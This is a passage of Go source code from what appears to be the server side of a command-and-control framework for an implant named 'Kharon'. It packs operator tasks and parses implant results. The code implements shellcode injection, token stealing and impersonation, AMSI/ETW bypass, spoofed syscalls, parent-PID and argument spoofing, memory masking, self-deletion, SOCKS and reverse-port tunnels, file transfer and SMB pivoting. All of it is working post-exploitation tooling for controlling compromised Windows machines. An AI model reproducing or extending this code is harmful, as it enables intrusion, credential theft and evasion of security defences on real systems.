= ax.AgentData{ Id: agentId, SessionKey: key, OemCP: int(khcfg.Session.Oemcp), ACP: int(khcfg.Session.Acp), Sleep: uint(khcfg.Session.SleepTime / 1000), Jitter: uint(khcfg.Session.Jitter), Username: ConvertCpToUTF8(khcfg.Machine.Username, int(khcfg.Session.Acp)), Computer: ConvertCpToUTF8(khcfg.Machine.Computer, int(khcfg.Session.Acp)), Process: process, Pid: fmt.Sprintf("%v", khcfg.Session.ProcessId), Tid: fmt.Sprintf("%v", khcfg.Session.ThreadId), Arch: "x64", Elevated: khcfg.Session.Elevated, Os: OS_WINDOWS, OsDesc: osDesc, InternalIP: khcfg.Machine.Ipaddress, Domain: khcfg.Machine.Domain, } khcfg.JsonMarshal(&agent, true) fmt.Printf("CustomData len=%d raw=%s\n", len(agent.CustomData), string(agent.CustomData)) fmt.Printf("Final Agent Struct: %+v\n", agent) return agent, ModuleObject.ext, nil } /// TASKS func PackTasks(agentData ax.AgentData, tasksArray []ax.TaskData) ([]byte, error) { var packData []byte /// START CODE HERE var ( array []interface{} err error ) array = append(array, int8(0)) array = append(array, len(tasksArray)) for _, taskData := range tasksArray { randomId := make([]byte, 19) _, _ = rand.Read(randomId) taskUID := taskData.TaskId + hex.EncodeToString(randomId) array = append(array, taskUID) array = append(array, len(taskData.Data)) array = append(array, taskData.Data) } packData, err = PackArray(array) if err != nil { return nil, err } /// END CODE return packData, nil } func PackPivotTasks(pivotId string, data []byte) ([]byte, error) { /// START CODE // TASK_PIVOT (int16=21) as command ID so Jobs::Create routes to Task::Pivot // SubCmd int8=20 (Action::Pivot::Exchange) to trigger relay array := []interface{}{TASK_PIVOT, int8(20), pivotId, len(data), data} packData, err := PackArray(array) if err != nil { return nil, err } /// END CODE return packData, nil } func CreateTask(ts Teamserver, agent ax.AgentData, args map[string]any) (ax.TaskData, ax.ConsoleMessageData, error) { var ( taskData ax.TaskData messageData ax.ConsoleMessageData kharon_cfg KharonData err error bofData []byte bofParam []byte bofArgs []byte params []byte ) err = kharon_cfg.JsonUnmarshal(&agent) if err != nil { fmt.Printf("ERROR: %v\n", err) return taskData, messageData, errors.New("'Error reading agent configuration data") } fmt.Printf("[DEBUG] CreateTask - agent.CustomData length = %d\n", len(agent.CustomData)) command, ok := args["command"].(string) if !ok { return taskData, messageData, errors.New("'command' must be set") } subcommand, _ := args["subcommand"].(string) taskData = ax.TaskData{ Type: TYPE_TASK, Sync: true, } messageData = ax.ConsoleMessageData{ Status: MESSAGE_INFO, Text: "", } messageData.Message, _ = args["message"].(string) var array []interface{} switch command { case "process": switch subcommand { case "list": bofData, err = LoadExtModule("src_core", "list", "x64") if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, PROC_LIST, 0, 0} case "create": programArgs, ok := args["cmd"].(string) if !ok || programArgs == "" { err = errors.New("parameter 'cmd' is required and must be a non-empty string") goto RET } stateNum := 0 if state, ok := args["state"].(string); ok { switch state { case "suspended": stateNum = 1 case "standard", "": stateNum = 0 default: err = fmt.Errorf("invalid process state '%s': must be 'standard' or 'suspended'", state) goto RET } } pipeNum := 0 if pipe, ok := args["--pipe"].(bool); ok && pipe { pipeNum = 1 } domain, _ := args["domain"].(string) username, _ := args["username"].(string) password, _ := args["password"].(string) tokenID, _ := args["token"].(int) method := 0 hasCredentials := domain != "" || username != "" || password != "" hasToken := tokenID != 0 if hasCredentials && hasToken { err = errors.New("cannot use both credentials (domain/username/password) and token simultaneously") goto RET } if hasCredentials { if username == "" { err = errors.New("'username' is required when using credentials") goto RET } method = 1 } else if hasToken { method = 2 } fmt.Printf("pipe number: %d\n", pipeNum) fmt.Printf("parent id: %d\n", kharon_cfg.Ps.ParentId) parts := []string{} if kharon_cfg.Ps.ParentId != 0 { parts = append(parts, fmt.Sprintf("PPID: %d", kharon_cfg.Ps.ParentId)) } if kharon_cfg.Ps.BlockDlls { parts = append(parts, "BlockDlls: enabled") } if len(parts) > 0 { taskData.Message = "Creating process" taskData.Message += fmt.Sprintf(" (%s)", strings.Join(parts, ", ")) taskData.MessageType = MESSAGE_INFO } bofData, err = LoadExtModule("src_core", "create", "x64") if err != nil { err = fmt.Errorf("failed to load BOF module: %w", err) goto RET } if len(kharon_cfg.Ps.Spoofarg) > 0 { if len(programArgs) > len(kharon_cfg.Ps.Spoofarg) { err = errors.New("Spoof argument needs be greater than legit args") goto RET } } bofParam, err = PackExtData( int(method), PackExtDataWChar(programArgs, agent.ACP), int(stateNum), int(pipeNum), PackExtDataWChar(domain, agent.ACP), PackExtDataWChar(username, agent.ACP), PackExtDataWChar(password, agent.ACP), int(tokenID), ) if err != nil { err = fmt.Errorf("failed to pack BOF parameters: %w", err) goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, PROC_RUN, len(bofParam), bofParam} case "kill": pid, ok := args["pid"].(float64) if !ok { err = errors.New("parameter 'pid' must be set") goto RET } exit_code, _ := args["exit_code"].(int) bofData, err = LoadExtModule("src_core", "kill", "x64") if err != nil { goto RET } bofParam, err = PackExtData(int32(pid), exit_code) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, PROC_KILL, len(bofParam), bofParam} default: err = errors.New("subcommand for 'ps': 'list', 'run' or 'kill'") goto RET } case "fs": switch subcommand { case "cat": path, ok := args["path"].(string) if !ok { err = errors.New("parameter 'path' must be set") goto RET } bofData, err = LoadExtModule("src_core", "cat", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(path, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, FS_CAT, len(bofParam), bofParam} case "cd": path, ok := args["path"].(string) if !ok { err = errors.New("parameter 'path' must be set") goto RET } bofData, err = LoadExtModule("src_core", "cd", "x64") if err != nil { goto RET } fmt.Printf("bof file content size: %d\n", len(bofData)) bofParam, err = PackExtData(PackExtDataWChar(path, agent.ACP)) if err != nil { fmt.Printf("ERROR: %v\n", err) goto RET } fmt.Printf("bof param content size: %d\n", len(bofParam)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, FS_CD, len(bofParam), bofParam} case "cp": src, ok := args["src"].(string) if !ok { err = errors.New("parameter 'src' must be set") goto RET } dst, ok := args["dst"].(string) if !ok { err = errors.New("parameter 'dst' must be set") goto RET } bofData, err = LoadExtModule("src_core", "cp", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(src, agent.ACP), PackExtDataWChar(dst, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, FS_COPY, len(bofParam), bofParam} case "ls": dir, ok := args["directory"].(string) if !ok { err = errors.New("parameter 'directory' must be set") goto RET } if strings.HasSuffix(dir, "\\") { dir += "*" } else { dir += "\\*" } bofData, err = LoadExtModule("src_core", "ls", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(dir, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, int(FS_LIST), len(bofParam), bofParam} case "mv": src, ok := args["src"].(string) if !ok { err = errors.New("parameter 'src' must be set") goto RET } dst, ok := args["dst"].(string) if !ok { err = errors.New("parameter 'dst' must be set") goto RET } bofData, err = LoadExtModule("src_core", "mv", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(src, agent.ACP), PackExtDataWChar(dst, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, FS_MOVE, len(bofParam), bofParam} case "mkdir": path, ok := args["path"].(string) if !ok { err = errors.New("parameter 'path' must be set") goto RET } bofData, err = LoadExtModule("src_core", "mkdir", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(path, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, FS_MKDIR, len(bofParam), bofParam} case "pwd": bofData, err = LoadExtModule("src_core", "pwd", "x64") if err != nil { goto RET } fmt.Printf("bof file content size: %d\n", len(bofData)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, 0, 0, 0} case "rm": path, ok := args["path"].(string) if !ok { err = errors.New("parameter 'path' must be set") goto RET } bofData, err = LoadExtModule("src_core", "rm", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(path, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, int(FS_PWD), len(bofParam), bofParam} default: err = errors.New("subcommand for 'fs': 'cat', 'cd', 'cp', 'ls', 'mv', 'mkdir', 'pwd', 'rm'") goto RET } case "exit": switch subcommand { case "thread": array = []interface{}{TASK_EXIT, EXIT_THREAD} case "process": array = []interface{}{TASK_EXIT, EXIT_PROCESS} default: err = errors.New("subcommand must be 'thread' or 'process'") goto RET } case "info": console_out := FormatKharonTable(&kharon_cfg) taskData.Type = ax.TASK_TYPE_LOCAL taskData.Message = "Kharon config informations:" taskData.Completed = true taskData.ClearText = console_out case "socks": taskData.Type = TYPE_TUNNEL portNumber, ok := args["port"].(float64) port := int(portNumber) if ok { if port < 1 || port > 65535 { err = errors.New("port must be from 1 to 65535") goto RET } } switch subcommand { case "start": address, ok := args["address"].(string) if !ok { err = errors.New("parameter 'address' must be set") goto RET } auth, _ := args["-a"].(bool) if auth { username, ok := args["username"].(string) if !ok { err = errors.New("parameter 'username' must be set") goto RET } password, ok := args["password"].(string) if !ok { err = errors.New("parameter 'password' must be set") goto RET } var tunnelId string tunnelId, err = ts.TsTunnelCreateSocks5(agent.Id, "", address, port, true, username, password) if err != nil { goto RET } taskData.TaskId, err = ts.TsTunnelStart(tunnelId) if err != nil { goto RET } taskData.Message = fmt.Sprintf("Socks5 (with Auth) server running on port %d", port) } else { var tunnelId string tunnelId, err = ts.TsTunnelCreateSocks5(agent.Id, "", address, port, false, "", "") if err != nil { goto RET } taskData.TaskId, err = ts.TsTunnelStart(tunnelId) if err != nil { goto RET } taskData.Message = fmt.Sprintf("Socks5 server running on port %d", port) } taskData.MessageType = MESSAGE_SUCCESS taskData.ClearText = "\n" case "stop": taskData.Completed = true ts.TsTunnelStopSocks(agent.Id, port) taskData.MessageType = MESSAGE_SUCCESS taskData.Message = "Socks5 server has been stopped" taskData.ClearText = "\n" default: err = errors.New("subcommand must be 'start' or 'stop'") goto RET } case "rportfwd": taskData.Type = TYPE_TUNNEL lportNumber, ok := args["lport"].(float64) lport := int(lportNumber) if ok { if lport < 1 || lport > 65535 { err = errors.New("port must be from 1 to 65535") goto RET } } switch subcommand { case "start": fhost, ok := args["fwdhost"].(string) if !ok { err = errors.New("parameter 'fwdhost' must be set") goto RET } fportNumber, ok := args["fwdport"].(float64) fport := int(fportNumber) if ok { if fport < 1 || fport > 65535 { err = errors.New("port must be from 1 to 65535") goto RET } } var tunnelId string tunnelId, err = ts.TsTunnelCreateRportfwd(agent.Id, "", lport, fhost, fport) if err != nil { goto RET } taskData.TaskId, err = ts.TsTunnelStart(tunnelId) if err != nil { goto RET } messageData.Message = fmt.Sprintf("Starting reverse port forwarding %d to %s:%d", lport, fhost, fport) messageData.Status = MESSAGE_INFO case "stop": taskData.Completed = true ts.TsTunnelStopRportfwd(agent.Id, lport) taskData.MessageType = MESSAGE_SUCCESS taskData.Message = "Reverse port forwarding has been stopped" default: err = errors.New("subcommand must be 'start' or 'stop'") goto RET } case "upload": remote_path, ok := args["remote_path"].(string) if !ok { err = errors.New("parameter 'remote_path' must be set") goto RET } localFile, ok := args["local_file"].(string) if !ok { err = errors.New("parameter 'local_file' must be set") goto RET } var fileContent []byte fileContent, err = base64.StdEncoding.DecodeString(localFile) if err != nil { goto RET } chunkSize := 0x500000 bufferSize := len(fileContent) inTaskData := ax.TaskData{ Type: TYPE_TASK, AgentId: agent.Id, Sync: false, } fileID := gen_rnd_str(10) inCmd := []interface{}{TASK_UPLOAD, int(0), ConvertUTF8toCp(fileID, agent.ACP), ConvertUTF8toCp(remote_path, agent.ACP)} inTaskData.Data, _ = PackArray(inCmd) inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) ts.TsTaskCreate(agent.Id, "", "", inTaskData) numChunks := (bufferSize + chunkSize - 1) / chunkSize i := 1 for start := 0; start < bufferSize; start += chunkSize { fin := start + chunkSize finish := false if fin >= bufferSize { fin = bufferSize finish = true } lenBytes := make([]byte, 4) binary.LittleEndian.PutUint32(lenBytes, uint32(fin-start)) result := append(lenBytes, fileContent[start:fin]...) inCmd := []interface{}{TASK_UPLOAD, int(1), ConvertUTF8toCp(fileID, agent.ACP), int(numChunks), int(i), len(fileContent[start:fin]), result} if finish { array = inCmd break } else { inTaskData.Data, _ = PackArray(inCmd) inTaskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) ts.TsTaskCreate(agent.Id, "", "", inTaskData) } i = i + 1 } case "download": remote_path, ok := args["remote_path"].(string) if !ok { err = errors.New("parameter 'remote_path' must be set") goto RET } fileID := gen_rnd_str(10) fmt.Printf("FileID: %s\n", fileID) fmt.Printf("remote_Path: %s\n", remote_path) array = []interface{}{TASK_DOWNLOAD, ConvertUTF8toCp(fileID, agent.ACP), ConvertUTF8toCp(remote_path, agent.ACP)} case "token": switch subcommand { case "getuid": array = []interface{}{TASK_TOKEN, TOKEN_GET_UUID} case "steal": pid, ok := args["pid"].(float64) if !ok { err = errors.New("parameter 'pid' must be set") goto RET } isuse, _ := args["impersonate"].(bool) use := int(0) if isuse { use = 1 } array = []interface{}{TASK_TOKEN, TOKEN_STEAL, int(pid), use} case "impersonate": id, ok := get_int_from_args(args["token_id"]) fmt.Printf("token id: %d\n", id) if !ok { err = errors.New("parameter 'id' must be set") goto RET } array = []interface{}{TASK_TOKEN, TOKEN_USE, int(id)} case "list": array = []interface{}{TASK_TOKEN, TOKEN_LIST} case "rm": id, ok := get_int_from_args(args["token_id"]) if !ok { err = errors.New("parameter 'id' must be set") goto RET } array = []interface{}{TASK_TOKEN, TOKEN_RM, int(id)} case "revert": array = []interface{}{TASK_TOKEN, TOKEN_REVERT} case "make": username, ok := args["username"].(string) if !ok { err = errors.New("parameter 'username' must be set") goto RET } domain, _ := args["domain"].(string) password, ok := args["password"].(string) if !ok { err = errors.New("parameter 'password' must be set") goto RET } array = []interface{}{TASK_TOKEN, TOKEN_MAKE, ConvertUTF8toCp(username, agent.ACP), ConvertUTF8toCp(password, agent.ACP), ConvertUTF8toCp(domain, agent.ACP)} case "privget": array = []interface{}{TASK_TOKEN, TOKEN_PRIV_GET} case "privlist": array = []interface{}{TASK_TOKEN, TOKEN_PRIV_LIST} default: err = errors.New("subcommand for 'token': 'getuid', 'steal', 'use', 'rm', 'revert', 'make', 'privget', 'privlist'") goto RET } case "config": bofData, err = LoadExtModule("src_core", "config", "x64") if err != nil { goto RET } switch subcommand { case "sleep": var sleepTime int sleep, sleepOk := args["val"].(string) if !sleepOk { err = errors.New("parameter 'val' must be set") goto RET } sleepInt, parseErr := strconv.Atoi(sleep) if parseErr == nil { sleepTime = sleepInt } else { t, parseErr := time.ParseDuration(sleep) if parseErr == nil { sleepTime = int(t.Seconds()) } else { err = errors.New("sleep must be in '%h%m%s' format or number of seconds") goto RET } } messageData.Message = fmt.Sprintf("Task: sleep to %v", sleep) agent.Sleep = uint(sleepTime) kharon_cfg.Session.SleepTime = uint32(sleepTime * 1000) kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_SLEEP), int(sleepTime)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "jitter": jitter, jitterOk := args["val"].(float64) if !jitterOk { err = errors.New("parameter 'val' must be set") goto RET } jitterTime := int(jitter) if jitterTime < 0 || jitterTime > 100 { err = errors.New("jitterTime must be from 0 to 100") goto RET } messageData.Message = fmt.Sprintf("Task: sleep with %v%% jitter", jitterTime) agent.Jitter = uint(jitterTime) kharon_cfg.Session.Jitter = uint32(jitterTime) kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_JITTER), int(jitterTime)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "ppid": pid, ok := args["pid"].(float64) if !ok { err = errors.New("parameter 'pid' must be set") goto RET } kharon_cfg.Ps.ParentId = uint32(pid) kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_PPID), int(pid)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "spoofarg": argument, _ := args["arg"].(string) kharon_cfg.Ps.Spoofarg = argument kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_ARGUE), PackExtDataWChar(argument, agent.ACP)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "killdate.date": dt, ok := args["date"].(string) if !ok { err = errors.New("parameter 'date' must be set") goto RET } var parsedDate time.Time parsedDate, err = time.Parse("02.01.2006", dt) if err != nil { goto RET } kharon_cfg.Killdate.Date = parsedDate kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_KD_DATE), int(parsedDate.Year()), int(parsedDate.Month()), int(parsedDate.Day())) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "killdate.selfdel": status, ok := args["status"].(string) if !ok { err = errors.New("parameter 'status' must be set") goto RET } enabled := 0 switch status { case "true": enabled = 1 case "false": enabled = 0 default: err = errors.New("unknown status type. Type must be 'true' or 'false'") goto RET } kharon_cfg.Killdate.Selfdel = enabled != 0 kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_KD_SELFDEL), int(enabled)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "killdate.exit": method, ok := args["method"].(string) if !ok { err = errors.New("parameter 'method' must be set") goto RET } enabled := 0 switch method { case "process": enabled = 1 case "thread": enabled = 0 default: err = errors.New("unknown method type. Type must be 'process' or 'thread'") goto RET } kharon_cfg.Killdate.Exit = enabled != 0 kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_KD_EXIT), int(enabled)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "mask.beacon": tp, ok := args["type"].(string) if !ok { err = errors.New("parameter 'type' must be set") goto RET } num := 0 switch tp { case "timer": num = 1 case "none": num = 3 default: err = errors.New("unknown mask type. Type must be 'none' or 'timer'") goto RET } kharon_cfg.Mask.Beacon = uint32(num) kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_MASK), int(num)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "mask.heap": status, ok := args["status"].(string) if !ok { err = errors.New("parameter 'status' must be set") goto RET } enabled := 0 switch status { case "true": enabled = 1 case "false": enabled = 0 default: err = errors.New("unknown status type. Type must be 'true' or 'false'") goto RET } kharon_cfg.Mask.Heap = enabled != 0 kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_MASK_HEAP), int(enabled)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "spawnto": spawnto, ok := args["spawnto"].(string) if !ok { err = errors.New("parameter 'spawnto' must be set") goto RET } kharon_cfg.Ps.Spawnto = spawnto kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_SPAWN), PackExtDataWChar(spawnto, agent.ACP)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "blockdlls": status, ok := args["status"].(string) if !ok { err = errors.New("parameter 'status' must be set") goto RET } enabled := 0 switch status { case "true": enabled = 1 case "false": enabled = 0 default: err = errors.New("unknown status type. Type must be 'true' or 'false'") goto RET } kharon_cfg.Ps.BlockDlls = enabled != 0 kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_BLOCK_DLLS), int(enabled)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "amsi_etw_bypass": bypass, ok := args["bypass"].(string) if !ok { err = errors.New("parameter 'bypass' must be set") goto RET } bypass_n := 0 switch bypass { case "amsi": bypass_n = 0x01 case "etw": bypass_n = 0x02 case "all": bypass_n = 0x03 case "none": bypass_n = 0x00 default: err = errors.New("unknown bypass type. Type must be 'amsi', 'etw', 'all' or 'none'") goto RET } kharon_cfg.Evasion.AmsiEtwBypass = int32(bypass_n) kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_AE_BYPASS), int(bypass_n)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "syscall": syscall, ok := args["syscall"].(string) if !ok { err = errors.New("parameter 'syscall' must be set") goto RET } syscall_n := 0 switch syscall { case "spoof": syscall_n = 1 case "spoof_indirect": syscall_n = 2 case "none": syscall_n = 0 default: err = errors.New("Unknown syscall method. Syscall must be 'spoof', 'spoof_indirect' or 'none'") fmt.Printf("default %v\n", err) goto RET } kharon_cfg.Evasion.Syscall = uint32(syscall_n) kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_SYSCALL), int(syscall_n)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "fork_pipe_name": forkPipeName, ok := args["name"].(string) if !ok { err = errors.New("parameter 'name' must be set") goto RET } kharon_cfg.Ps.ForkPipe = forkPipeName kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_FORKPIPE), PackExtDataString(forkPipeName, agent.ACP)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} case "bofproxy": status, ok := args["status"].(string) if !ok { err = errors.New("parameter 'status' must be set") goto RET } enabled := 0 if status == "true" { enabled = 1 } else if status == "false" { enabled = 0 } else { err = errors.New("parameter 'status' must be 'true' or 'false'") goto RET } boolean := enabled == 1 kharon_cfg.Evasion.BofProxy = boolean kharon_cfg.JsonMarshal(&agent, true) bofParam, _ = PackExtData(int(CONFIG_BOFPROXY), int(enabled)) array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, TASK_CONFIG, len(bofParam), bofParam} default: err = errors.New("invalid sub command") goto RET } case "scinject": shellcode, ok := args["shellcode"].(string) if !ok { err = errors.New("parameter 'shellcode' must be set") goto RET } pid, ok := args["pid"].(float64) if !ok { err = errors.New("parameter 'pid' must be set") goto RET } var shellcodeContent []byte shellcodeContent, err = base64.StdEncoding.DecodeString(shellcode) if err != nil { goto RET } bofData, err = LoadExtModule("src_core", "scinject", "x64") if err != nil { goto RET } bofParam, err = PackExtData(int(pid), shellcodeContent) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, 0, len(bofParam), bofParam} case "selfdel": array = []interface{}{TASK_SELFDEL} case "execute": switch subcommand { case "bof": taskData.Type = TYPE_JOB wd, wdErr := os.Getwd() if wdErr != nil { panic(wdErr) } postex_path := filepath.Join(filepath.Dir(wd), "dist", "extenders", "agent_kharon", "src_modules") bofFile, ok := args["bof_file"].(string) if !ok { err = errors.New("parameter 'bof' must be set") goto RET } if strings.Contains(bofFile, "kharon_replace_folder") { bofFile = strings.ReplaceAll(bofFile, "kharon_replace_folder", postex_path) } var bofContent []byte bofContent, err = base64.StdEncoding.DecodeString(bofFile) if err != nil { goto RET } paramData, ok := args["param_data"].(string) if ok { params, decErr := base64.StdEncoding.DecodeString(paramData) if decErr != nil { params = []byte(paramData) } array = []interface{}{TASK_EXEC_BOF, len(bofContent), bofContent, 0, len(params), params} } else { array = []interface{}{TASK_EXEC_BOF, len(bofContent), bofContent, 0, 0, params} } case "postex": taskData.Type = TYPE_JOB method := args["method"].(string) pid := args["pid"].(float64) scfile := args["sc_file"].(string) method_n := 0 switch method { case "explicit": method_n = 0x30 case "spawn": method_n = 0x50 } scContent, _ := base64.StdEncoding.DecodeString(scfile) var params []byte var decErr error paramData, ok := args["param_data"].(string) if ok { params, decErr = base64.StdEncoding.DecodeString(paramData) if decErr != nil { params = []byte(paramData) } } if !kharon_cfg.PostexHandler.PostexLoaded { bofData, _ = LoadExtModule("src_core", "kit_postex", "x64") } bofArgs, _ = PackExtData( int(method_n), int(pid), scContent, params, ) array = []interface{}{TASK_POSTEX, POSTEX_ACTION_INJECT, len(bofData), bofData, len(bofArgs), bofArgs} } case "list_pipe": filter := "" if f, ok := args["filter"].(string); ok { filter = f } bofData, err = LoadExtModule("src_core", "list_pipe", "x64") if err != nil { goto RET } bofParam, err = PackExtData(PackExtDataWChar(filter, agent.ACP)) if err != nil { goto RET } array = []interface{}{TASK_EXEC_BOF, len(bofData), bofData, PIPE_LIST, len(bofParam), bofParam} messageData.Text = fmt.Sprintf("Listing pipes matching: *%s*", filter) case "link": switch subcommand { case "smb": target, ok := args["target"].(string) if !ok || target == "" { err = errors.New("parameter 'target' is required") goto RET } pipename, _ := args["pipename"].(string) if pipename == "" { pipename = SmbPipeName // auto-resolve from SMB listener config } // Build the full pipe path: \\target\pipe\pipename fullPipePath := fmt.Sprintf("\\\\%s\\pipe\\%s", target, pipename) // Action::Pivot::Link = 10 (beacon-side enum) // CmdID is read as Int16 by Jobs::Create (line 34 of Jobs.cc) array = []interface{}{TASK_PIVOT, int8(10), fullPipePath} // Pre-generate TaskId so we can track which agent owns this link task. // When the Link result comes back through a relayed PROFILE_SMB response, // agentData is the outer HTTP parent — TaskOwnerMap lets us find the real parent. taskData.TaskId = fmt.Sprintf("%08x", mrand.Uint32()) TaskOwnerMap[taskData.TaskId] = agent.Id messageData.Text = fmt.Sprintf("Linking to SMB pipe: %s", fullPipePath) default: err = fmt.Errorf("unknown link subcommand: '%s'", subcommand) goto RET } case "unlink": agentID, ok := args["agent_id"].(string) if !ok || agentID == "" { err = errors.New("parameter 'agent_id' is required") goto RET } // Action::Pivot::Unlink = 11 (beacon-side enum) array = []interface{}{TASK_PIVOT, int8(11), agentID} messageData.Text = fmt.Sprintf("Unlinking agent: %s", agentID) default: err = errors.New(fmt.Sprintf("Command '%v' not found", command)) goto RET } taskData.Data, err = PackArray(array) if err != nil { goto RET } RET: return taskData, messageData, err } func ProcessTasksResult(ts Teamserver, agentData ax.AgentData, taskData ax.TaskData, packedData []byte) []ax.TaskData { var outTasks []ax.TaskData /// START CODE var kharon_cfg KharonData kharon_cfg.JsonUnmarshal(&agentData) packer := CreatePacker(packedData) if false == packer.CheckPacker([]string{"int"}) { return outTasks } // Check if data starts with MSG_QUICK (0x05) or MSG_OUT (0x07) // Format: [1B type][36B raw TaskUUID][4B callbackType][4B+N string message] if len(packedData) > 41 && (packedData[0] == 0x05 || packedData[0] == 0x07) { msgType := packedData[0] taskUUID := string(packedData[1:37]) // raw 36 bytes, NOT length-prefixed _ = msgType task := taskData if len(taskUUID) >= 8 { task.TaskId = taskUUID[:8] } // Read callback type (4 bytes BIG ENDIAN at offset 37) remaining := packedData[37:] if len(remaining) >= 4 { _ = uint32(remaining[0])<<24 | uint32(remaining[1])<<16 | uint32(remaining[2])<<8 | uint32(remaining[3]) remaining = remaining[4:] // Read message string (length-prefixed BIG ENDIAN: [4B len][chars]) if len(remaining) >= 4 { msgLen := uint32(remaining[0])<<24 | uint32(remaining[1])<<16 | uint32(remaining[2])<<8 | uint32(remaining[3]) remaining = remaining[4:] if uint32(len(remaining)) >= msgLen && msgLen > 0 { output := string(remaining[:msgLen]) task.ClearText = ConvertCpToUTF8(output, agentData.ACP) task.MessageType = MESSAGE_SUCCESS task.Completed = false outTasks = append(outTasks, task) } } } return outTasks } taskCount := packer.ParseInt32() for taskIndex := uint(0); taskIndex < taskCount && packer.CheckPacker([]string{"int"}); taskIndex++ { dataType := packer.ParseInt32() if dataType == uint(MSG_QUICK) || dataType == uint(MSG_OUT) { if len(packer.buffer) < 16 { return outTasks } TaskUID := string(packer.ParsePad(36)) if len(TaskUID) < 8 { return outTasks } task := taskData task.TaskId = TaskUID[:8] if dataType == 0x7 && packer.CheckPacker([]string{"int"}) { packer.ParseInt32() } if false == packer.CheckPacker([]string{"int", "array"}) { return outTasks } outputType := packer.ParseInt32() switch outputType { case CALLBACK_ERROR: output := packer.ParseString() task.MessageType = MESSAGE_ERROR task.Message = ConvertCpToUTF8(output, agentData.ACP) case CALLBACK_SCREENSHOT: task.MessageType = MESSAGE_SUCCESS screenBuff := packer.ParseBytes() ts.TsScreenshotAdd(agentData.Id, "", screenBuff) task.Message = "Screenshot saved!" case CALLBACK_OUTPUT_OEM: output := packer.ParseString() task.MessageType = MESSAGE_SUCCESS task.ClearText = ConvertCpToUTF8(output, agentData.OemCP) case CALLBACK_NO_PRE_MSG: output := packer.ParseString() task.ClearText = ConvertCpToUTF8(output, agentData.ACP) case CALLBACK_AX_SCREENSHOT: if false == packer.CheckPacker([]string{"array"}) { return outTasks } payload := packer.ParseBytes() inner := CreatePacker(payload) if false == inner.CheckPacker([]string{"array", "array"}) { return outTasks } note := ConvertCpToUTF8(inner.ParseString(), agentData.ACP) screenBuff := inner.ParseBytes() _ = ts.TsScreenshotAdd(agentData.Id, note, screenBuff) task.MessageType = MESSAGE_SUCCESS if note == "" { task.Message = "Screenshot saved" } else { task.Message = fmt.Sprintf("Screenshot saved: %s", note) } case CALLBACK_AX_DOWNLOAD_MEM: if false == packer.CheckPacker([]string{"array"}) { return outTasks } payload := packer.ParseBytes() inner := 